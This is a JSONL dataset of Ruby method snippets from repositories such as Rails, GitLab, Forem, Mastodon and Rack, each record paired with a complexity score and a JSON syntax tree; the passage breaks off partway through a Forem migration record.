{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_verifier.rb","start_line":318,"raw_source":"def inspect # :nodoc:\n      \"#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>\"\n    end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%#016x\"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_id\"]},\"<<\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}","id":"13a689de-06ac-441b-bc56-47c038f6c8cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":590,"raw_source":"def comment_message(data)\n      user_link = build_jira_link(data[:user][:name], data[:user][:url])\n\n      entity = data[:entity]\n      entity_ref = all_details? ? \"#{entity[:name]} #{entity[:id]}\" : \"a #{entity[:name]}\"\n      entity_link = build_jira_link(entity_ref, entity[:url])\n\n      project_link = build_jira_link(project.full_name, Gitlab::Routing.url_helpers.project_url(project))\n      branch =\n        if entity[:branch].present?\n          format(s_('JiraService| on branch %{branch_link}'),\n            branch_link: build_jira_link(entity[:branch], project_tree_url(project, entity[:branch])))\n        end\n\n      entity_message = entity[:description].presence if all_details?\n      entity_message ||= entity[:title].chomp\n\n      format(\n        s_('JiraService|%{user_link} mentioned this issue in %{entity_link} of ' \\\n           '%{project_link}%{branch}:{quote}%{entity_message}{quote}'),\n        user_link: user_link,\n        entity_link: entity_link,\n        project_link: project_link,\n        branch: branch,\n        entity_message: entity_message\n      )\n    end","complexity_score":52.5,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_link\",{\"type\":\"send\",\"children\":[null,\"build_jira_link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entity\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entity_ref\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_details?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entity_link\",{\"type\":\"send\",\"children\":[null,\"build_jira_link\",{\"type\":\"lvar\",\"children\":[\"entity_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_link\",{\"type\":\"send\",\"children\":[null,\"build_jira_link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"project_url\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"JiraService| on branch %{branch_link}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_link\"]},{\"type\":\"send\",\"children\":[null,\"build_jira_link\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[null,\"project_tree_url\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch\"]}]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_details?\"]},{\"type\":\"lvasgn\",\"children\":[\"entity_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]},\"presence\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entity_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},\"chomp\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JiraService|%{user_link} mentioned this issue in %{entity_link} of \"]},{\"type\":\"str\",\"children\":[\"%{project_link}%{branch}:{quote}%{entity_message}{quote}\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_link\"]},{\"type\":\"lvar\",\"children\":[\"user_link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_link\"]},{\"type\":\"lvar\",\"children\":[\"entity_link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_link\"]},{\"type\":\"lvar\",\"children\":[\"project_link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_message\"]},{\"type\":\"lvar\",\"children\":[\"entity_message\"]}]}]}]}]}]}","id":"69729628-47d5-4826-8923-7ae55ea9d0c2"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notification_subscriptions/update.rb","start_line":3,"raw_source":"def self.call(...)\n      new(...).call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"44c801d2-dc78-411b-b403-623d40a05eb0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":742,"raw_source":"def test_select_with_multiple_and_with_explicit_name_ending_with_brackets\n    output_buffer = select(:post, :category, [], { include_hidden: false }, { multiple: true, name: \"post[category][]\" })\n    assert_dom_equal(\n      \"<select multiple=\\\"multiple\\\" id=\\\"post_category\\\" name=\\\"post[category][]\\\"></select>\",\n      output_buffer\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_multiple_and_with_explicit_name_ending_with_brackets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_hidden\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"post[category][]\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<select multiple=\\\"multiple\\\" id=\\\"post_category\\\" name=\\\"post[category][]\\\"></select>\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]}]}]}","id":"7e3db2d6-e46f-4e4e-8b76-d8e0b2808adf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb","start_line":839,"raw_source":"def test_include_method_in_has_and_belongs_to_many_association_should_return_true_for_instance_added_with_build\n    project = Project.new\n    developer = project.developers.build\n    assert_includes project.developers, developer\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_method_in_has_and_belongs_to_many_association_should_return_true_for_instance_added_with_build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"developers\"]},\"build\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"developers\"]},{\"type\":\"lvar\",\"children\":[\"developer\"]}]}]}]}","id":"b7ea08af-7832-410c-9cc6-e4047d53a34c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/statuses.rb","start_line":126,"raw_source":"def remove_orphans_conversations\n      start_at = Time.now.to_f\n\n      unless options[:continue] && ActiveRecord::Base.connection.table_exists?('conversations_to_be_deleted')\n        say('Creating temporary database indices...')\n\n        ActiveRecord::Base.connection.add_index(:statuses, :conversation_id, name: :index_statuses_conversation_id, algorithm: :concurrently, if_not_exists: true)\n\n        say('Extract the deletion target from conversations... This might take a while...')\n\n        ActiveRecord::Base.connection.create_table('conversations_to_be_deleted', force: true)\n\n        ActiveRecord::Base.connection.exec_insert(<<-SQL.squish, 'SQL')\n          INSERT INTO conversations_to_be_deleted (id)\n          SELECT id FROM conversations WHERE NOT EXISTS (SELECT 1 FROM statuses WHERE statuses.conversation_id = conversations.id)\n        SQL\n\n        say('Removing temporary database indices to restore write performance...')\n        ActiveRecord::Base.connection.remove_index(:statuses, name: :index_statuses_conversation_id, if_exists: true)\n      end\n\n      say('Beginning orphans removal... This might take a while...')\n\n      klass = Class.new(ApplicationRecord) do |c|\n        c.table_name = 'conversations_to_be_deleted'\n      end\n\n      Object.const_set(:ConversationsToBeDeleted, klass)\n\n      scope     = ConversationsToBeDeleted\n      processed = 0\n      removed   = 0\n      progress  = create_progress_bar(scope.count.fdiv(options[:batch_size]).ceil)\n\n      scope.in_batches(of: options[:batch_size]) do |relation|\n        ids        = relation.pluck(:id)\n        processed += ids.count\n        removed   += Conversation.unscoped.where(id: ids).delete_all\n        progress.increment\n      end\n\n      progress.stop\n\n      ActiveRecord::Base.connection.drop_table('conversations_to_be_deleted')\n\n      say(\"Done after #{Time.now.to_f - start_at}s, removed #{removed} out of #{processed} conversations.\", :green)\n    ensure\n      say('Removing temporary database indices to restore write performance...')\n      ActiveRecord::Base.connection.remove_index(:statuses, name: :index_statuses_conversation_id, if_exists: true)\n    end","complexity_score":81.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_orphans_conversations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"continue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"table_exists?\",{\"type\":\"str\",\"children\":[\"conversations_to_be_deleted\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Creating temporary database indices...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_statuses_conversation_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Extract the deletion target from conversations... This might take a while...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"create_table\",{\"type\":\"str\",\"children\":[\"conversations_to_be_deleted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"exec_insert\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          INSERT INTO conversations_to_be_deleted (id)\\n\"]},{\"type\":\"str\",\"children\":[\"          SELECT id FROM conversations WHERE NOT EXISTS (SELECT 1 FROM statuses WHERE statuses.conversation_id = conversations.id)\\n\"]}]},\"squish\"]},{\"type\":\"str\",\"children\":[\"SQL\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Removing temporary database indices to restore write performance...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_statuses_conversation_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Beginning orphans removal... This might take a while...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"table_name=\",{\"type\":\"str\",\"children\":[\"conversations_to_be_deleted\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"ConversationsToBeDeleted\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"const\",\"children\":[null,\"ConversationsToBeDeleted\"]}]},{\"type\":\"lvasgn\",\"children\":[\"processed\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"removed\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"progress\",{\"type\":\"send\",\"children\":[null,\"create_progress_bar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"count\"]},\"fdiv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"batch_size\"]}]}]},\"ceil\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"batch_size\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"processed\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"count\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"removed\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Conversation\"]},\"unscoped\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"delete_all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]},\"increment\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]},\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"drop_table\",{\"type\":\"str\",\"children\":[\"conversations_to_be_deleted\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Done after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_at\"]}]}]},{\"type\":\"str\",\"children\":[\"s, removed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]}]},{\"type\":\"str\",\"children\":[\" out of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed\"]}]},{\"type\":\"str\",\"children\":[\" conversations.\"]}]},{\"type\":\"sym\",\"children\":[\"green\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Removing temporary database indices to restore write performance...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_statuses_conversation_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"442f538e-d6d9-4045-833d-70aadee9e383"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/request.rb","start_line":607,"raw_source":"def fullpath\n        query_string.empty? ? path : \"#{path}?#{query_string}\"\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fullpath\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_string\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_string\"]}]}]}]}]}","id":"7c9d7b92-9ef8-43e3-ab50-d9d2b8ab6884"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1403,"raw_source":"def test_all\n    developers = Developer.all\n    assert_kind_of ActiveRecord::Relation, developers\n    assert_equal Developer.all, developers\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Relation\"]},{\"type\":\"lvar\",\"children\":[\"developers\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]},{\"type\":\"lvar\",\"children\":[\"developers\"]}]}]}]}","id":"f910ad78-b688-4944-b2bd-7f27a4108b50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunk.rb","start_line":315,"raw_source":"def lock_key\n      \"trace_write:#{build_id}:chunks:#{chunk_index}\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lock_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"trace_write:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_id\"]}]},{\"type\":\"str\",\"children\":[\":chunks:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chunk_index\"]}]}]}]}","id":"8a55fd45-5526-435f-b090-567cfdf2d6b9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":542,"raw_source":"def test_has_many_through_collection_size_uses_counter_cache_if_it_exists\n    c = categories(:general)\n    c.categorizations_count = 100\n    assert_equal 100, c.categorizations.size\n    assert_not_predicate c.categorizations, :loaded?\n  end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_collection_size_uses_counter_cache_if_it_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"general\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"categorizations_count=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[100]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"categorizations\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"categorizations\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]}]}]}","id":"e917467e-01b7-470e-998a-076492c2ed1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/draft_notes/create_service.rb","start_line":48,"raw_source":"def after_execute\n      # Update reviewer state to `REVIEW_STARTED` when a new review has started\n      return unless draft_notes.one?\n\n      ::MergeRequests::UpdateReviewerStateService\n        .new(project: merge_request.project, current_user: current_user)\n        .execute(merge_request, 'review_started')\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draft_notes\"]},\"one?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"UpdateReviewerStateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"execute\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"str\",\"children\":[\"review_started\"]}]}]}]}","id":"0dd0ca70-a824-4d89-bff5-b0ca2229c94d"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20241211222137_update_unique_index_on_settings.rb","start_line":3,"raw_source":"def change\n    # Update unique index for settings_authentications\n    remove_index :settings_authentications, :var, name: \"index_settings_authentications_on_var\", algorithm: :concurrently\n    add_index :settings_authentications, [:var, :subforem_id], unique: true, name: \"index_settings_authentications_on_var_and_subforem_id\", algorithm: :concurrently\n\n    # Update unique index for settings_campaigns\n    remove_index :settings_campaigns, :var, name: \"index_settings_campaigns_on_var\", algorithm: :concurrently\n    add_index :settings_campaigns, [:var, :subforem_id], unique: true, name: \"index_settings_campaigns_on_var_and_subforem_id\", algorithm: :concurrently\n\n    # Update unique index for settings_communities\n    remove_index :settings_communities, :var, name: \"index_settings_communities_on_var\", algorithm: :concurrently\n    add_index :settings_communities, [:var, :subforem_id], unique: true, name: \"index_settings_communities_on_var_and_subforem_id\", algorithm: :concurrently\n\n    # Update unique index for settings_rate_limits\n    remove_index :settings_rate_limits, :var, name: \"index_settings_rate_limits_on_var\", algorithm: :concurrently\n    add_index :settings_rate_limits, [:var, :subforem_id], unique: true, name: \"index_settings_rate_limits_on_var_and_subforem_id\", algorithm: :concurrently\n\n    # Update unique index for settings_smtp\n    remove_index :settings_smtp, :var, name: \"index_settings_smtp_on_var\", algorithm: :concurrently\n    add_index :settings_smtp, [:var, :subforem_id], unique: true, name: \"index_settings_smtp_on_var_and_subforem_id\", algorithm: :concurrently\n\n    # Update unique index for settings_user_experiences\n    remove_index :settings_user_experiences, :var, name: \"index_settings_user_experiences_on_var\", algorithm: :concurrently\n    add_index :settings_user_experiences, [:var, :subforem_id], unique: true, name: \"index_settings_user_experiences_on_var_and_subforem_id\", algorithm: :concurrently\n\n    # Update unique index for site_configs\n    remove_index :site_configs, :var, name: \"index_site_configs_on_var\", algorithm: :concurrently\n    add_index :site_configs, [:var, 